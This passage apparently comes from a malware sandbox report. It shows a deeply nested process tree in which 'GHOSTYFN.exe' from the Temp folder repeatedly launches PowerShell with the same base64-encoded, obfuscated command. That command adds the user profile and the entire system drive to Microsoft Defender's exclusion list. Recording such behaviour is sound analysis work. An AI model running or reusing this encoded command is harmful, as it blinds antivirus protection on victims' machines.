        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        51⤵
        
        PID:9368
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        51⤵
        
        PID:9376
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        52⤵
        
        PID:9660
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        52⤵
        
        PID:9744
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        53⤵
        
        PID:10032
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        53⤵
        
        PID:10068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        54⤵
        
        PID:8644
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        54⤵
        
        PID:8956
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        55⤵
        
        PID:3224
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        55⤵
        
        PID:9476
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        56⤵
        
        PID:2748
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        56⤵
        
        PID:772
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        57⤵
        
        PID:9976
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        57⤵
        
        PID:2028
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        58⤵
        
        PID:10120
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        58⤵
        
        PID:10052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        59⤵
        
        PID:5788
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        59⤵
        
        PID:2916
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        60⤵
        
        PID:2268
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        60⤵
        
        PID:528
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        61⤵
        
        PID:5088
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        61⤵
        
        PID:4244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        62⤵
        
        PID:5484
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        62⤵
        
        PID:4420
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        63⤵
        
        PID:3492
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        63⤵
        
        PID:9596
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        64⤵
        
        PID:2128
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        64⤵
        
        PID:3792
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        65⤵
        
        PID:10220
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        65⤵
        
        PID:2684
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        66⤵
        
        PID:5512
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        66⤵
        
        PID:7020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        67⤵
        
        PID:5960
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        67⤵
        
        PID:5868
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        68⤵
        
        PID:864
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        68⤵
        
        PID:5644
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        69⤵
        
        PID:5736
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        69⤵
        
        PID:6732
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        70⤵
        
        PID:2408
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        70⤵
        
        PID:7000
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        71⤵
        
        PID:5564
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        71⤵
        
        PID:5556
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        72⤵
        
        PID:1608
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        72⤵
        
        PID:5784
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        73⤵
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        73⤵
        
        PID:5344
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        74⤵
        
        PID:556
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        74⤵
        
        PID:2064
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        75⤵
        
        PID:6588
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        75⤵
        
        PID:6600
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        76⤵
        
        PID:6080
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        76⤵
        
        PID:6688
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        77⤵
        
        PID:4588
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        77⤵
        
        PID:6612
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        78⤵
        
        PID:6068
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        78⤵
        
        PID:6904
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        79⤵
        
        PID:5824
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        79⤵
        
        PID:7140
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        80⤵
        
        PID:5320
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        80⤵
        
        PID:4580
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        81⤵
        
        PID:6652
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        81⤵
        
        PID:7996
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        82⤵
        
        PID:6968
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        82⤵
        
        PID:7064
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
